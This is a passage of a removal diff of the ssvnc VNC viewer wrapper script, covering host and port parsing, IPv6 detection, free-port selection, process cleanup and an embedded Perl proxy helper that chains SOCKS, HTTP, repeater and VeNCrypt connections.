-# play around with host:display port:
-if echo "$orig" | grep ':' > /dev/null; then
- :
-else
- # add or assume :0 if no ':'
- if [ "X$reverse" = "X" ]; then
- orig="$orig:0"
- elif [ "X$orig" = "X" ]; then
- orig=":0"
- fi
-fi
-
-# extract host and disp number:
-
-# try to see if it is ipv6 address:
-ipv6=0
-if echo "$orig" | grep '\[' > /dev/null; then
- # ipv6 [fe80::219:dbff:fee5:3f92%eth1]:5900
- host=`echo "$orig" | sed -e 's/\].*$//' -e 's/\[//'`
- disp=`echo "$orig" | sed -e 's/^.*\]://'`
- ipv6=1
-elif echo "$orig" | grep ':..*:' > /dev/null; then
- # ipv6 fe80::219:dbff:fee5:3f92%eth1:5900
- host=`echo "$orig" | sed -e 's/:[^:]*$//'`
- disp=`echo "$orig" | sed -e 's/^.*://'`
- ipv6=1
-else
- # regular host:port
- host=`echo "$orig" | awk -F: '{print $1}'`
- disp=`echo "$orig" | awk -F: '{print $2}'`
-fi
-
-if [ "X$reverse" != "X" -a "X$STUNNEL_LISTEN" = "X" -a "X$host" != "X" ]; then
- STUNNEL_LISTEN=$host
- echo "set STUNNEL_LISTEN=$STUNNEL_LISTEN"
-fi
-
-if [ "X$host" = "X" ]; then
- host=$localhost
-fi
-
-if [ "X$SSVNC_IPV6" = "X0" ]; then
- # disable checking for it.
- ipv6=0
-#elif [ "X$reverse" != "X" -a "X$ipv6" = "X1" ]; then
-# ipv6=0
-elif [ "X$ipv6" = "X1" ]; then
- :
-elif echo "$host" | grep '^[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*$' > /dev/null; then
- :
-else
- # regular hostname, can't be sure...
- gout=""
- if type getent > /dev/null 2>/dev/null; then
- gout=`getent hosts "$host" 2>/dev/null`
- fi
- if echo "$gout" | grep ':.*:' > /dev/null; then
- if echo "$gout" | grep '^[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*$' > /dev/null; then
- :
- else
- echo "ipv6: "`echo "$gout" | grep ':.*:' | head -n 1`
- ipv6=1
- fi
- fi
- if [ "X$ipv6" = "X0" ]; then
- hout=""
- if type host > /dev/null 2>/dev/null; then
- host "$host" >/dev/null 2>&1
- host "$host" >/dev/null 2>&1
- hout=`host "$host" 2>/dev/null`
- fi
- if echo "$hout" | grep -i 'has ipv6 address' > /dev/null; then
- if echo "$hout" | grep -i 'has address' > /dev/null; then
- :
- else
- echo "ipv6: "`echo "$hout" | grep -i 'has ipv6 address' | head -n 1`
- ipv6=1
- fi
- fi
- fi
- if [ "X$ipv6" = "X0" ]; then
- dout=""
- if type dig > /dev/null 2>/dev/null; then
- dout=`dig -t any "$host" 2>/dev/null`
- fi
- if echo "$dout" | grep -i "^$host" | grep '[ ]AAAA[ ]' > /dev/null; then
- if echo "$dout" | grep -i "^$host" | grep '[ ]A[ ]' > /dev/null; then
- :
- else
- echo "ipv6: "`echo "$dout" | grep -i '[ ]AAAA[ ]' | head -n 1`
- ipv6=1
- fi
- fi
- fi
- if [ "X$ipv6" = "X0" ]; then
- sout=`env LOOKUP="$host" \
- perl -e ' eval {use Socket}; exit 0 if $@;
- eval {use Socket6}; exit 0 if $@;
- @res = getaddrinfo($ENV{LOOKUP}, "daytime", AF_UNSPEC, SOCK_STREAM);
- $ipv4 = 0;
- $ipv6 = 0;
- $ip6 = "";
- while (scalar(@res) >= 5) {
- ($family, $socktype, $proto, $saddr, $canon, @res) = @res;
- $ipv4 = 1 if $family == AF_INET;
- $ipv6 = 1 if $family == AF_INET6;
- if ($family == AF_INET6 && $ip6 eq "") {
- my ($host, $port) = getnameinfo($saddr, NI_NUMERICHOST | NI_NUMERICSERV);
- $ip6 = $host;
- }
- }
- if (! $ipv4 && $ipv6) {
- print "AF_INET6_ONLY: $ENV{LOOKUP}: $ip6\n";
- }
- exit 0;
- ' 2>/dev/null`
- if echo "$sout" | grep AF_INET6_ONLY > /dev/null; then
- echo "$sout"
- ipv6=1
- fi
- fi
-fi
-if [ "X$ipv6" = "X1" ]; then
- echo "ipv6: addr=$host disp=$disp"
-fi
-if [ "X$disp" = "X" ]; then
- port="" # probably -listen mode.
-elif [ $disp -lt 0 ]; then
- # negative means use |n| without question:
- port=`expr 0 - $disp`
-elif [ $disp -lt 200 ]; then
- # less than 200 means 5900+n
- if [ "X$reverse" = "X" ]; then
- port=`expr $disp + 5900`
- else
- port=`expr $disp + 5500`
- fi
-else
- # otherwise use the number directly, e.g. 443, 2345
- port=$disp
-fi
-
-if [ "X$ipv6" = "X1" -a "X$direct_connect" = "X1" ]; then
- if [ "X$proxy" = "X" -a "X$reverse" = "X" ]; then
- if [ "X$SSVNC_ULTRA_DSM" != "X" -a "X$have_uvnc_dsm_helper_ipv6" = "X1" ]; then
- :
- elif [ "X$SSVNC_NO_IPV6_PROXY" != "X" ]; then
- :
- elif [ "X$SSVNC_NO_IPV6_PROXY_DIRECT" != "X" ]; then
- :
- else
- proxy="ipv6://$host:$port"
- echo "direct connect: set proxy=$proxy"
- fi
- fi
-fi
-
-# (possibly) tell the vncviewer to only listen on lo:
-if [ "X$reverse" != "X" ]; then
- if [ "X$direct_connect" = "X" -o "X$proxy" != "X" -o "X$STUNNEL_LISTEN" != "X" ]; then
- VNCVIEWER_LISTEN_LOCALHOST=1
- export VNCVIEWER_LISTEN_LOCALHOST
- fi
-fi
-
-# try to find an open listening port via netstat(1):
-inuse=""
-if uname | grep Linux > /dev/null; then
- inuse=`netstat -ant | egrep 'LISTEN|WAIT|ESTABLISH|CLOSE' | awk '{print $4}' | sed 's/^.*://'`
-elif uname | grep SunOS > /dev/null; then
- inuse=`netstat -an -f inet -P tcp | egrep 'LISTEN|WAIT|ESTABLISH|CLOSE' | awk '{print $1}' | sed 's/^.*\.//'`
-elif uname | egrep -i 'bsd|darwin' > /dev/null; then
- inuse=`netstat -ant -f inet | egrep 'LISTEN|WAIT|ESTABLISH|CLOSE' | awk '{print $4}' | sed 's/^.*\.//'`
-# add others...
-fi
-
-# this is a crude attempt for unique ports tags, etc.
-date_sec=`date +%S`
-
-# these are special cases of no vnc, e.g. sleep or xmessage.
-# these are for using ssvnc as a general port redirector.
-if echo "$VNCVIEWERCMD" | grep '^sleep[ ][ ]*[0-9][0-9]*' > /dev/null; then
- if [ "X$SS_VNCVIEWER_LISTEN_PORT" = "X" ]; then
- p=`echo "$VNCVIEWERCMD" | awk '{print $3}'`
- if [ "X$p" != "X" ]; then
- SS_VNCVIEWER_LISTEN_PORT=$p
- fi
- fi
- p2=`echo "$VNCVIEWERCMD" | awk '{print $2}'`
- VNCVIEWERCMD="eval sleep $p2; echo Local "
-elif echo "$VNCVIEWERCMD" | grep '^xmessage[ ][ ]*[0-9][0-9]*' > /dev/null; then
- if [ "X$SS_VNCVIEWER_LISTEN_PORT" = "X" ]; then
- p=`echo "$VNCVIEWERCMD" | awk '{print $2}'`
- SS_VNCVIEWER_LISTEN_PORT=$p
- fi
-fi
-
-# utility to find a free port to listen on.
-findfree() {
- try0=$1
- try=$try0
- use0=""
-
- if [ "X$SS_VNCVIEWER_LISTEN_PORT" != "X" ]; then
- echo "$SS_VNCVIEWER_LISTEN_PORT"
- return
- fi
- if [ $try -ge 6000 ]; then
- fmax=`expr $try + 1000`
- else
- fmax=6000
- fi
-
- while [ $try -lt $fmax ]
- do
- if [ "X$inuse" = "X" ]; then
- break
- fi
- if echo "$inuse" | grep -w $try > /dev/null; then
- :
- else
- use0=$try
- break
- fi
- try=`expr $try + 1`
- done
- if [ "X$use0" = "X" ]; then
- use0=`expr $date_sec + $try0`
- fi
-
- echo $use0
-}
-
-# utility for exiting; kills some helper processes,
-# removes files, etc.
-final() {
- echo ""
- if [ "X$tmp_cfg" != "X" ]; then
- rm -f $tmp_cfg
- fi
- if [ "X$SS_VNCVIEWER_RM" != "X" ]; then
- rm -f $SS_VNCVIEWER_RM 2>/dev/null
- fi
- if [ "X$tcert" != "X" ]; then
- rm -f $tcert
- fi
- if [ "X$pssh" != "X" ]; then
- echo "Terminating background ssh process"
- echo kill -TERM "$pssh"
- kill -TERM "$pssh" 2>/dev/null
- sleep 1
- kill -KILL "$pssh" 2>/dev/null
- pssh=""
- fi
- if [ "X$stunnel_pid" != "X" ]; then
- echo "Terminating background stunnel process"
- echo kill -TERM "$stunnel_pid"
- kill -TERM "$stunnel_pid" 2>/dev/null
- sleep 1
- kill -KILL "$stunnel_pid" 2>/dev/null
- stunnel_pid=""
- fi
- if [ "X$dsm_pid" != "X" ]; then
- echo "Terminating background ultravnc_dsm_helper process"
- echo kill -TERM "$dsm_pid"
- kill -TERM "$dsm_pid" 2>/dev/null
- sleep 1
- kill -KILL "$dsm_pid" 2>/dev/null
- stunnel_pid=""
- fi
- if [ "X$tail_pid" != "X" ]; then
- kill -TERM $tail_pid
- fi
- if [ "X$tail_pid2" != "X" ]; then
- kill -TERM $tail_pid2
- fi
-}
-
-if [ "X$reverse" = "X" ]; then
- # normal connections try 5930-5999:
- if [ "X$showcert" = "X" ]; then
- use=`findfree 5930`
- else
- # move away from normal place for (possibly many) -showcert
- pstart=`date +%S`
- pstart=`expr 6130 + $pstart + $pstart`
- use=`findfree $pstart`
- fi
- if [ $use -ge 5900 ]; then
- N=`expr $use - 5900`
- else
- N=$use
- fi
-else
- # reverse connections:
- p2=`expr $port + 30`
- use=`findfree $p2`
- if [ $use -ge 5500 ]; then
- N=`expr $use - 5500`
- else
- N=$use
- fi
-fi
-
-# this is for my special use of ss_vncip -> vncip viewer.
-if echo "$0" | grep vncip > /dev/null; then
- VNCVIEWERCMD="$VNCIPCMD"
-fi
-
-if echo "$VNCVIEWERCMD" | egrep -i '^(xmessage|sleep )' > /dev/null; then
- :
-elif [ "X$VNCVIEWERCMD_EXTRA_OPTS" != "X" ]; then
- VNCVIEWERCMD="$VNCVIEWERCMD $VNCVIEWERCMD_EXTRA_OPTS"
-fi
-
-# trick for the undocumented rsh://host:port method.
-rsh_setup() {
- if echo "$ssh_host" | grep '@' > /dev/null; then
- ul=`echo "$ssh_host" | awk -F@ '{print $1}'`
- ul="-l $ul"
- ssh_host=`echo "$ssh_host" | awk -F@ '{print $2}'`
- else
- ul=""
- fi
- ssh_cmd=`echo "$ssh_cmd" | sed -e 's/ -localhost/ /g'`
-}
-
-# trick for the undocumented rsh://host:port method.
-rsh_viewer() {
- trap "final" 0 2 15
- if [ "X$PORT" = "X" ]; then
- exit 1
- elif [ $PORT -ge 5900 ]; then
- vdpy=`expr $PORT - 5900`
- else
- vdpy=":$PORT"
- fi
- stty sane
- echo "$VNCVIEWERCMD" "$@" $ssh_host:$vdpy
- echo ""
- $VNCVIEWERCMD "$@" $ssh_host:$vdpy
- if [ $? != 0 ]; then
- sleep 2
- $VNCVIEWERCMD "$@" $ssh_host:$vdpy
- fi
-}
-
-check_perl() {
- if type "$1" > /dev/null 2>&1; then
- :
- elif [ ! -x "$1" ]; then
- echo ""
- echo "*******************************************************"
- echo "** Problem finding the Perl command '$1': **"
- echo ""
- type "perl"
- echo ""
- echo "** Perhaps you need to install the Perl package. **"
- echo "*******************************************************"
- echo ""
- sleep 5
- fi
-}
-
-# this is the PPROXY tool. used only here for now...
-pcode() {
- tf=$1
- PPROXY_PROXY=$proxy; export PPROXY_PROXY
- PPROXY_DEST="$host:$port"; export PPROXY_DEST
- check_perl /usr/bin/perl
-
- cod='#!/usr/bin/perl
-
-# A hack to glue stunnel to a Web or SOCKS proxy, UltraVNC repeater for
-# client connections.
-# Also acts as a VeNCrypt bridge (by redirecting to stunnel.)
-
-use IO::Socket::INET;
-
-my $have_inet6 = "";
-eval "use IO::Socket::INET6;";
-$have_inet6 = 1 if $@ eq "";
-
-#my $have_sock6 = "";
-#eval "use Socket; use Socket6;";
-#$have_sock6 = 1 if $@ eq "";
-
-if (exists $ENV{PPROXY_LOOP_THYSELF}) {
- # used for reverse vnc, run a repeating outer loop.
- print STDERR "PPROXY_LOOP: $ENV{PPROXY_LOOP_THYSELF}\n";
- my $rm = $ENV{PPROXY_REMOVE};
- my $lp = $ENV{PPROXY_LOOP_THYSELF};
- delete $ENV{PPROXY_REMOVE};
- delete $ENV{PPROXY_LOOP_THYSELF};
- $ENV{PPROXY_LOOP_THYSELF_MASTER} = $$;
- my $pid = $$;
- my $dbg = 0;
- my $c = 0;
- use POSIX ":sys_wait_h";
- while (1) {
- $pid = fork();
- last if ! defined $pid;
- if ($pid eq "0") {
- last;
- }
- $c++;
- print STDERR "\nPPROXY_LOOP: pid=$$ child=$pid count=$c\n";
- while (1) {
- waitpid(-1, WNOHANG);
- fsleep(0.25);
- if (! kill 0, $pid) {
- print STDERR "PPROXY_LOOP: child=$pid gone.\n";
- last;
- }
- print STDERR "PPROXY_LOOP: child=$pid alive.\n" if $dbg;
- if (! -f $lp) {
- print STDERR "PPROXY_LOOP: flag file $lp gone, killing $pid\n";
- kill TERM, $pid;
- fsleep(0.1);
- wait;
- last;
- }
- print STDERR "PPROXY_LOOP: file exists $lp\n" if $dbg;
- }
- last if ! -f $lp;
- fsleep(0.25);
- }
- if ($pid ne "0") {
- unlink($0) if $rm;
- exit 0;
- }
-}
-
-if (exists $ENV{PPROXY_SLEEP} && $ENV{PPROXY_SLEEP} > 0) {
- print STDERR "PPROXY_PID: $$\n";
- sleep $ENV{PPROXY_SLEEP};
-}
-
-foreach my $var (qw(
- PPROXY_DEST
- PPROXY_KILLPID
- PPROXY_LISTEN
- PPROXY_PROXY
- PPROXY_REMOVE
- PPROXY_REPEATER
- PPROXY_REVERSE
- PPROXY_SLEEP
- PPROXY_SOCKS
- PPROXY_VENCRYPT
- PPROXY_VENCRYPT_VIEWER_BRIDGE
- )) {
- if (0 || $ENV{SS_DEBUG} || $ENV{SSVNC_VENCRYPT_DEBUG}) {
- print STDERR "$var: $ENV{$var}\n";
- }
-}
-
-if ($ENV{PPROXY_SOCKS} ne "" && $ENV{PPROXY_PROXY} !~ m,^socks5?://,i) {
- if ($ENV{PPROXY_SOCKS} eq "5") {
- $ENV{PPROXY_PROXY} = "socks5://$ENV{PPROXY_PROXY}";
- } else {
- $ENV{PPROXY_PROXY} = "socks://$ENV{PPROXY_PROXY}";
- }
-}
-
-my $rfbSecTypeAnonTls = 18;
-my $rfbSecTypeVencrypt = 19;
-
-my $rfbVencryptPlain = 256;
-my $rfbVencryptTlsNone = 257;
-my $rfbVencryptTlsVnc = 258;
-my $rfbVencryptTlsPlain = 259;
-my $rfbVencryptX509None = 260;
-my $rfbVencryptX509Vnc = 261;
-my $rfbVencryptX509Plain = 262;
-
-my $handshake_file = "";
-if (exists $ENV{SSVNC_PREDIGESTED_HANDSHAKE}) {
- $handshake_file = $ENV{SSVNC_PREDIGESTED_HANDSHAKE};
-}
-
-my $have_gettimeofday = 0;
-eval "use Time::HiRes;";
-if ($@ eq "") {
- $have_gettimeofday = 1;
-}
-sub gettime {
- my $t = "0.0";
- if ($have_gettimeofday) {
- $t = Time::HiRes::gettimeofday();
- }
- return $t;
-}
-
-my $listen_handle = "";
-my $sock = "";
-my $parent = $$;
-
-my $initial_data = "";
-
-if ($ENV{PPROXY_VENCRYPT_VIEWER_BRIDGE}) {
- my ($from, $to) = split(/,/, $ENV{PPROXY_VENCRYPT_VIEWER_BRIDGE});
- do_vencrypt_viewer_bridge($from, $to);
- exit 0;
-}
-
-my ($first, $second, $third) = split(/,/, $ENV{PPROXY_PROXY}, 3);
-my ($mode_1st, $mode_2nd, $mode_3rd) = ("", "", "");
-
-($first, $mode_1st) = url_parse($first);
-
-my ($proxy_host, $proxy_port) = ($first, "");
-if ($proxy_host =~ /^(.*):(\d+)$/) {
- $proxy_host = $1;
- $proxy_port = $2;
-}
-my $connect = $ENV{PPROXY_DEST};
-
-if ($second ne "") {
- ($second, $mode_2nd) = url_parse($second);
-}
-
-if ($third ne "") {
- ($third, $mode_3rd) = url_parse($third);
-}
-
-
-print STDERR "\n";
-print STDERR "PPROXY v0.4: a tool for Web, SOCKS, and UltraVNC proxies and for\n";
-print STDERR "PPROXY v0.4: IPv6 and VNC VeNCrypt bridging.\n";
-print STDERR "proxy_host: $proxy_host\n";
-print STDERR "proxy_port: $proxy_port\n";
-print STDERR "proxy_connect: $connect\n";
-print STDERR "pproxy_params: $ENV{PPROXY_PROXY}\n";
-print STDERR "pproxy_listen: $ENV{PPROXY_LISTEN}\n";
-print STDERR "pproxy_reverse: $ENV{PPROXY_REVERSE}\n";
-print STDERR "io_socket_inet6: $have_inet6\n";
-print STDERR "\n";
-if (! $have_inet6) {
- print STDERR "PPROXY: To enable IPv6 connections, install the IO::Socket::INET6 perl module.\n\n";
-}
-
-if (1) {
- print STDERR "pproxy 1st: $first\t- $mode_1st\n";
- print STDERR "pproxy 2nd: $second\t- $mode_2nd\n";
- print STDERR "pproxy 3rd: $third\t- $mode_3rd\n";
- print STDERR "\n";
-}
-
-sub pdie {
- my $msg = shift;
- kill_proxy_pids();
- die "$msg";
-}
-
-if ($ENV{PPROXY_REVERSE} ne "") {
- my ($rhost, $rport) = ($ENV{PPROXY_REVERSE}, "");
- if ($rhost =~ /^(.*):(\d+)$/) {
- $rhost = $1;
- $rport = $2;
- }
- $rport = 5900 unless $rport;
- my $emsg = "";
- $listen_handle = IO::Socket::INET->new(
- PeerAddr => $rhost,
- PeerPort => $rport,
- Proto => "tcp"
- );
- $emsg = $!;
- if (! $listen_handle && $have_inet6) {
- eval {$listen_handle = IO::Socket::INET6->new(
- PeerAddr => $rhost,
- PeerPort => $rport,
- Proto => "tcp"
- );};
- $emsg .= " / $!";
- }
- if (! $listen_handle) {
- pdie "pproxy: $emsg -- PPROXY_REVERSE\n";
- }
- print STDERR "PPROXY_REVERSE: connected to $rhost $rport\n";
-
-} elsif ($ENV{PPROXY_LISTEN} ne "") {
- my $listen_sock = "";
- my $maxtry = 12;
- my $sleep = 5;
- my $p2 = "";
- my $emsg = "";
- for (my $i=0; $i < $maxtry; $i++) {
- my ($if, $p) = ("", $ENV{PPROXY_LISTEN});
- if ($p =~ /^(.*):(\d+)$/) {
- $if = $1;
- $p = $2;
- }
- $p2 = "*:$p";
- if ($if eq "") {
- $if = "localhost";
- }
- print STDERR "pproxy interface: $if\n";
-
- $emsg = "";
- if (($if eq "INADDR_ANY6" || $if eq "::") && $have_inet6) {
- eval {$listen_sock = IO::Socket::INET6->new(
- Listen => 2,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::",
- LocalPort => $p,
- Proto => "tcp"
- );};
- $p2 = ":::$p";
- } elsif ($if =~ /^INADDR_ANY/) {
- $listen_sock = IO::Socket::INET->new(
- Listen => 2,
- ReuseAddr => 1,
- LocalPort => $p,
- Proto => "tcp"
- );
- } elsif (($if eq "INADDR_LOOPBACK6" || $if eq "::1") && $have_inet6) {
- $p2 = "::1:$p";
- eval {$listen_sock = IO::Socket::INET6->new(
- Listen => 2,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => "::1",
- LocalPort => $p,
- Proto => "tcp"
- );};
- $p2 = "::1:$p";
- } else {
- $p2 = "$if:$p";
- $listen_sock = IO::Socket::INET->new(
- Listen => 2,
- ReuseAddr => 1,
- LocalAddr => $if,
- LocalPort => $p,
- Proto => "tcp"
- );
- $emsg = $!;
-
- if (! $listen_sock && $have_inet6) {
- print STDERR "PPROXY_LISTEN: retry with INET6\n";
- eval {$listen_sock = IO::Socket::INET6->new(
- Listen => 2,
- ReuseAddr => 1,
- Domain => AF_INET6,
- LocalAddr => $if,
- LocalPort => $p,
- Proto => "tcp"
- );};
- $emsg .= " / $!";
- }
- }
- if (! $listen_sock) {
- if ($i < $maxtry - 1) {
- warn "pproxy: $emsg $!\n";
- warn "Could not listen on port $p2, retrying in $sleep seconds... (Ctrl-C to quit)\n";
- sleep $sleep;
- }
- } else {
- last;
- }
- }
- if (! $listen_sock) {
- pdie "pproxy: $emsg -- PPROXY_LISTEN\n";
- }
- print STDERR "pproxy: listening on $p2\n";
- my $ip;
- ($listen_handle, $ip) = $listen_sock->accept();
- my $err = $!;
- close $listen_sock;
- if (! $listen_handle) {
- pdie "pproxy: $err\n";
- }
-
- if ($ENV{PPROXY_LOOP_THYSELF_MASTER}) {
- my $sml = $ENV{SSVNC_MULTIPLE_LISTEN};
- if ($sml ne "" && $sml ne "0") {
- setpgrp(0, 0);
- if (fork()) {
- close $viewer_sock;
- wait;
- exit 0;
- }
- if (fork()) {
- close $viewer_sock;
- exit 0;
- }
- setpgrp(0, 0);
- $parent = $$;
- }
- }
-}
-
-$sock = IO::Socket::INET->new(
- PeerAddr => $proxy_host,
- PeerPort => $proxy_port,
- Proto => "tcp"
-);
-
-my $err = "";
-
-if (! $sock && $have_inet6) {
- $err = $!;
-
- eval {$sock = IO::Socket::INET6->new(
- PeerAddr => $proxy_host,
- PeerPort => $proxy_port,
- Proto => "tcp"
- );};
- $err .= " / $!";
-}
-
-if (! $sock) {
- unlink($0) if $ENV{PPROXY_REMOVE};
- pdie "pproxy: $err\n";
-}
-
-unlink($0) if $ENV{PPROXY_REMOVE};
-
-if ($ENV{PPROXY_PROXY} =~ /^vencrypt:/ && $ENV{PPROXY_VENCRYPT_REVERSE}) {
- print STDERR "\nPPROXY: vencrypt+reverse: swapping listen socket with connect socket.\n";
- my $tmp_swap = $sock;
- $sock = $listen_handle;
- $listen_handle = $tmp_swap;
-}
-
-$cur_proxy = $first;
-setmode($mode_1st);
-
-if ($second ne "") {
- connection($second, 1);
-
- setmode($mode_2nd);
- $cur_proxy = $second;
-
- if ($third ne "") {
- connection($third, 2);
- setmode($mode_3rd);
- $cur_proxy = $third;
- connection($connect, 3);
- } else {
- connection($connect, 2);
- }
-} else {
- connection($connect, 1);
-}
-
-sub kill_proxy_pids() {
- if ($ENV{PPROXY_VENCRYPT_VIEWER_BRIDGE}) {
- return;
- }
- if ($ENV{PPROXY_KILLPID}) {
- foreach my $p (split(/,/, $ENV{PPROXY_KILLPID})) {
- if ($p =~ /^(\+|-)/) {
- $p = $parent + $p;
- }
- print STDERR "kill TERM, $p (PPROXY_KILLPID)\n";
- kill "TERM", $p;
- }
- }
-}
-
-sub xfer {
- my($in, $out) = @_;
- $RIN = $WIN = $EIN = "";
- $ROUT = "";
- vec($RIN, fileno($in), 1) = 1;
- vec($WIN, fileno($in), 1) = 1;
- $EIN = $RIN | $WIN;
-
- while (1) {
- my $nf = 0;
- while (! $nf) {
- $nf = select($ROUT=$RIN, undef, undef, undef);
- }
- my $len = sysread($in, $buf, 8192);
- if (! defined($len)) {
- next if $! =~ /^Interrupted/;
- print STDERR "pproxy[$$]: $!\n";
- last;
- } elsif ($len == 0) {
- print STDERR "pproxy[$$]: Input is EOF.\n";
- last;
- }
- my $offset = 0;
- my $quit = 0;
- while ($len) {
- my $written = syswrite($out, $buf, $len, $offset);
- if (! defined $written) {
- print STDERR "pproxy[$$]: Output is EOF. $!\n";
- $quit = 1;
- last;
- }
- $len -= $written;
- $offset += $written;
- }
- last if $quit;
- }
- close($out);
- close($in);
- print STDERR "pproxy[$$]: finished xfer.\n";
-}
-
-sub handler {
- print STDERR "pproxy[$$]: got SIGTERM.\n";
- close $listen_handle if $listen_handle;
- close $sock if $sock;
- exit;
-}
-
-sub xfer_both {
- $child = fork;
-
- if (! defined $child) {
- kill_proxy_pids();
- exit 1;
- }
-
- $SIG{TERM} = "handler";
-
- if ($child) {
- if ($listen_handle) {
- print STDERR "pproxy parent[$$] listen_handle -> socket\n";
- xfer($listen_handle, $sock);
- } else {
- print STDERR "pproxy parent[$$] STDIN -> socket\n";
- xfer(STDIN, $sock);
- }
- select(undef, undef, undef, 0.25);
- if (kill 0, $child) {
- select(undef, undef, undef, 0.9);
- if (kill 0, $child) {
- print STDERR "pproxy[$$]: kill TERM child $child\n";
- kill "TERM", $child;
- } else {
- print STDERR "pproxy[$$]: child $child gone.\n";
- }
- }
- } else {
- select(undef, undef, undef, 0.05);
- if ($listen_handle) {
- print STDERR "pproxy child [$$] socket -> listen_handle\n";
- if ($initial_data ne "") {
- my $len = length $initial_data;
- print STDERR "pproxy child [$$] sending initial_data, length $len\n\n";
- syswrite($listen_handle, $initial_data, $len);
- } else {
- print STDERR "\n";
- }
- xfer($sock, $listen_handle);
- } else {
- print STDERR "pproxy child [$$] socket -> STDOUT\n";
- if ($initial_data ne "") {
- my $len = length $initial_data;
- print STDERR "pproxy child [$$] sending initial_data, length $len\n\n";
- syswrite(STDOUT, $initial_data, $len);
- } else {
- print STDERR "\n";
- }
- xfer($sock, STDOUT);
- }
- select(undef, undef, undef, 0.25);
- if (kill 0, $parent) {
- select(undef, undef, undef, 0.8);
- if (kill 0, $parent) {
- print STDERR "pproxy[$$]: kill TERM parent $parent\n";
- kill "TERM", $parent;
- } else {
- print STDERR "pproxy[$$]: parent $parent gone.\n";
- }
- }
- }
-
- kill_proxy_pids();
-}
-
-xfer_both();
-
-exit;
-
-sub fsleep {
- select(undef, undef, undef, shift);
-}
-
-sub url_parse {
- my $hostport = shift;
- my $mode = "http";
- if ($hostport =~ m,^socks4?://(\S*)$,i) {
- $mode = "socks4";
- $hostport = $1;
- } elsif ($hostport =~ m,^socks5://(\S*)$,i) {
- $mode = "socks5";
- $hostport = $1;
- } elsif ($hostport =~ m,^https?://(\S*)$,i) {
- $mode = "http";
- $hostport = $1;
- } elsif ($hostport =~ m,^ipv6://(\S*)$,i) {
- $mode = "ipv6";
- $hostport = $1;
- } elsif ($hostport =~ m,^repeater://(\S*)\+(\S*)$,i) {
- # ultravnc repeater proxy.
- $hostport = $1;
- $mode = "repeater:$2";
- if ($hostport !~ /:\d+$/) {
- $hostport .= ":5900";
- }
- } elsif ($hostport =~ m,^vencrypt://(\S*)$,i) {
- # vencrypt handshake.
- $hostport = $1;
- my $m = "connect";
- if ($hostpost =~ /^(\S+)\+(\S+)$/) {
- $hostport = $1;
- $mode = $2;
- }
- $mode = "vencrypt:$m";
- if ($hostport !~ /:\d+$/) {
- $hostport .= ":5900";
- }
- }
- return ($hostport, $mode);
-}
-
-sub setmode {
- my $mode = shift;
- $ENV{PPROXY_REPEATER} = "";
- $ENV{PPROXY_VENCRYPT} = "";
- if ($mode =~ /^socks/) {
- if ($mode =~ /^socks5/) {
- $ENV{PPROXY_SOCKS} = 5;
- } else {
- $ENV{PPROXY_SOCKS} = 1;
- }
- } elsif ($mode =~ /^ipv6/i) {
- $ENV{PPROXY_SOCKS} = 0;
- } elsif ($mode =~ /^repeater:(.*)/) {
- $ENV{PPROXY_REPEATER} = $1;
- $ENV{PPROXY_SOCKS} = "";
- } elsif ($mode =~ /^vencrypt:(.*)/) {
- $ENV{PPROXY_VENCRYPT} = $1;
- $ENV{PPROXY_SOCKS} = "";
- } else {
- $ENV{PPROXY_SOCKS} = "";
- }
-}
-
-sub connection {
- my ($CONNECT, $w) = @_;
-
- my $con = "";
- my $msg = "";
-
- if ($ENV{PPROXY_SOCKS} eq "5") {
- # SOCKS5
- my ($h, $p) = ($CONNECT, "");
- if ($h =~ /^(.*):(\d+)$/) {
- $h = $1;
- $p = $2;
- }
- $con .= pack("C", 0x05);
- $con .= pack("C", 0x01);
- $con .= pack("C", 0x00);
-
- $msg = "SOCKS5 via $cur_proxy to $h:$p\n\n";
- print STDERR "proxy_request$w: $msg";
-
- syswrite($sock, $con, length($con));
-
- my ($n1, $n2, $n3, $n4, $n5, $n6);
- my ($r1, $r2, $r3, $r4, $r5, $r6);
- my ($s1, $s2, $s3, $s4, $s5, $s6);
-
- $n1 = sysread($sock, $r1, 1);
- $n2 = sysread($sock, $r2, 1);
-
- $s1 = unpack("C", $r1);
- $s2 = unpack("C", $r2);
- if ($s1 != 0x05 || $s2 != 0x00) {
- print STDERR "SOCKS5 fail s1=$s1 s2=$s2 n1=$n1 n2=$n2\n";
- close $sock;
- exit(1);
- }
-
- $con = "";
- $con .= pack("C", 0x05);
- $con .= pack("C", 0x01);
- $con .= pack("C", 0x00);
- $con .= pack("C", 0x03);
- $con .= pack("C", length($h));
- $con .= $h;
- $con .= pack("C", $p >> 8);
- $con .= pack("C", $p & 0xff);
-
- syswrite($sock, $con, length($con));
-
- $n1 = sysread($sock, $r1, 1);
- $n2 = sysread($sock, $r2, 1);
- $n3 = sysread($sock, $r3, 1);
- $n4 = sysread($sock, $r4, 1);
- $s1 = unpack("C", $r1);
- $s2 = unpack("C", $r2);
- $s3 = unpack("C", $r3);
- $s4 = unpack("C", $r4);
-
- if ($s4 == 0x1) {
- sysread($sock, $r5, 4 + 2);
- } elsif ($s4 == 0x3) {
- sysread($sock, $r5, 1);
- $s5 = unpack("C", $r5);
- sysread($sock, $r6, $s5 + 2);
- } elsif ($s4 == 0x4) {
- sysread($sock, $r5, 16 + 2);
- }
-
- if ($s1 != 0x5 || $s2 != 0x0 || $s3 != 0x0) {
- print STDERR "SOCKS5 failed: s1=$s1 s2=$s2 s3=$s3 s4=$s4 n1=$n1 n2=$n2 n3=$n3 n4=$n4\n";
- close $sock;
- exit(1);
- }
-
- } elsif ($ENV{PPROXY_SOCKS} eq "1") {
- # SOCKS4 SOCKS4a
- my ($h, $p) = ($CONNECT, "");
- if ($h =~ /^(.*):(\d+)$/) {
- $h = $1;
- $p = $2;
- }
- $con .= pack("C", 0x04);
- $con .= pack("C", 0x01);
- $con .= pack("n", $p);
-
- my $SOCKS_4a = 0;
- if ($h eq "localhost" || $h eq "127.0.0.1") {
- $con .= pack("C", 127);
- $con .= pack("C", 0);
- $con .= pack("C", 0);
- $con .= pack("C", 1);
- } elsif ($h =~ /^(\d+)\.(\d+)\.(\d+)\.(\d+)$/) {
- $con .= pack("C", $1);
- $con .= pack("C", $2);
- $con .= pack("C", $3);
- $con .= pack("C", $4);
- } else {
- $con .= pack("C", 0);
